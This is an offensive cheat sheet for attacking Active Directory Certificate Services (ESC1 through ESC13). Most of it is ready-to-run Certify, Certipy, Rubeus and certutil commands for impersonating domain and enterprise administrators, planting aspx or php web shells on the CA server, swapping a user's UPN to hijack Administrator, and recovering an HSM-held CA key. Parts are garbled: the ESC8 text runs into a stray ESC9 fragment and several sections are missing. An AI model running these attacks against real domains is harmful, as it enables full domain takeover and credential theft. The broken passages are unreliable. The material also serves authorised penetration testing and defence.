Active Directory - Certificate Services
Active Directory Certificate Services (AD CS) is a Microsoft Windows server role that provides a public key infrastructure (PKI). It allows you to create, manage, and distribute digital certificates, which are used to secure communication and transactions across a network.

Certificate Enrollment
-
DNS required (
CT_FLAG_SUBJECT_ALT_REQUIRE_DNS
orCT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS
): only principals with theirdNSHostName
attribute set can enroll.- Active Directory Users cannot enroll in certificate templates requiring
dNSHostName
. - Computers will get their
dNSHostName
attribute set when you domain-join a computer, but the attribute is null if you simply create a computer object in AD. - Computers have validated write to their
dNSHostName
attribute meaning they can add a DNS name matching their computer name.
- Active Directory Users cannot enroll in certificate templates requiring
-
Email required (
CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL
orCT_FLAG_SUBJECT_REQUIRE_EMAIL
): only principals with theirmail
attribute set can enroll unless the template is of schema version 1.- By default, users and computers do not have their
mail
attribute set, and they cannot modify this attribute themselves. - Users might have the
mail
attribute set, but it is rare for computers.

ESC1 - Misconfigured Certificate Templates
Domain Users can enroll in the VulnTemplate template, which can be used for client authentication and has ENROLLEE_SUPPLIES_SUBJECT set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.
Requirements
- Template that allows for AD authentication
- ENROLLEE_SUPPLIES_SUBJECT flag
- [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)
Exploitation
- Use Certify.exe to see if there are any vulnerable templates
Certify.exe find /vulnerable Certify.exe find /vulnerable /currentuser # or PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local' # or certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound # or python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=lab,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))'
- Use Certify, Certi or Certipy to request a Certificate and add an alternative name (user to impersonate)
# request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt. Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'
- Use OpenSSL and convert the certificate, do not enter a password
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
- Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus
Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
WARNING: These certificates will still be usable even if the user or computer resets their password!
NOTE: Look for EDITF_ATTRIBUTESUBJECTALTNAME2, CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, ManageCA flags, and NTLM Relay to AD CS HTTP Endpoints.
ESC2 - Misconfigured Certificate Templates
Requirements
- Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)
Exploitation

- Request a certificate specifying the
/altname
as a domain admin like in ESC1.
ESC3 - Misconfigured Enrollment Agent Templates
ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users
- Request a certificate based on the vulnerable certificate template ESC3.
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3' [*] Saved certificate and private key to 'john.pfx'
- Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

ESC5 - Vulnerable PKI Object Access Control
Escalate the privileges from Domain Administrator in the child domain into Enterprise Administrator at the forest root.
Requirements:
- Add new templates to the "Certificate" Templates container
- "WRITE" access to the
pKIEnrollmentService
object
Exploitation:
- Use
PsExec
to launchmmc
as SYSTEM on the child DC:psexec.exe /accepteula -i -s mmc
- Connect to "Configuration naming context" > "Certificate Template" container
- Open
certsrv.msc
as SYSTEM and duplicate an existing template - Edit the properties of the template to:
- Granting enroll rights to a principal we control in the child domain.
- Including Client Authentication in the Application Policies.
- Allowing SANs in certificate requests.
- Not enabling manager approval or authorized signatures.
- Publish the certificate template to the CA
- Publish by adding the template to the list in
certificateTemplate
property ofCN=Services
>CN=Public Key Services
>CN=Enrollment Services
>pkiEnrollmentService
- Publish by adding the template to the list in
- Finally use the ESC1 vulnerability introduced in the duplicated template to issue a certificate impersonating an Enterprise Administrator.
ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.
Exploitation
- Use Certify.exe to check for UserSpecifiedSAN flag state which refers to the
EDITF_ATTRIBUTESUBJECTALTNAME2
flag.Certify.exe cas
- Request a certificate for a template and add an altname, even though the default
User
template doesn't normally allow to specify alternative names.\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
Mitigation
- Remove the flag:
certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2
ESC7 - Vulnerable Certificate Authority Access Control
Exploitation
- Detect CAs that allow low privileged users the
ManageCA
orManage Certificates
permissionsCertify.exe find /vulnerable
- Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6)
Certify.exe setconfig /enablesan /restart
- Request the certificate with the desired SAN.
Certify.exe request /template:User /altname:super.adm
- Grant approval if required or disable the approval requirement
# Grant Certify.exe issue /id:[REQUEST ID] # Disable Certify.exe setconfig /removeapproval /restart
Alternative exploitation from ManageCA to RCE on ADCS server:
# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly
# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx
# Write the default asp shell to a local web directory:

Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php
ESC8 - AD CS Relay Attack
An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.

(default) or0
- Certificate contains the
CT_FLAG_NO_SECURITY_EXTENSION
flag in themsPKI-Enrollment-Flag
value - Certificate specifies
Any Client
authentication EKU GenericWrite

Scenario
John@corp.local has GenericWrite over Jane@corp.local, and we want to compromise Administrator@corp.local. Jane@corp.local is allowed to enroll in the certificate template ESC9 that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value.
- Obtain the hash of Jane with Shadow Credentials (using our GenericWrite)
certipy shadow auto -username John@corp.local -p Passw0rd -account Jane
- Change the userPrincipalName of Jane to be Administrator. ⚠️ leave the
@corp.local
partcertipy account update -username John@corp.local -password Passw0rd -user Jane -upn Administrator
- Request the vulnerable certificate template ESC9 from Jane's account.
certipy req -username jane@corp.local -hashes ... -ca corp-DC-CA -template ESC9 # userPrincipalName in the certificate is Administrator # the issued certificate contains no "object SID"
- Restore userPrincipalName of Jane to Jane@corp.local.
certipy account update -username John@corp.local -password Passw0rd -user Jane@corp.local
- Authenticate with the certificate and receive the NT hash of the Administrator@corp.local user.

ESC12 - ADCS CA on YubiHSM
The ESC12 vulnerability occurs when a Certificate Authority (CA) stores its private key on a YubiHSM2 device, which requires an authentication key (password) to access. This password is stored in the registry in cleartext, allowing an attacker with shell access to the CA server to recover the private key.
Unlocking the YubiHSM with the plaintext password in the registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword
.
- Importing the CA certificate into the user store
certutil -addstore -user my <CA certificate file>
- Associated with the private key in the YubiHSM2 device
certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
- Finally use
certutil -sign ...
ESC13 - Issuance Policy
If a principal (user or computer) has enrollment rights on a certificate template configured with an issuance policy that has an OID group link, then this principal can enroll a certificate that allows obtaining access to the environment as a member of the group specified in the OID group link.
Requirements
- The principal has enrollment rights on a certificate template
- The certificate template has an issuance policy extension
- The issuance policy has an OID group link to a group
- The certificate template defines EKUs that enable client authentication
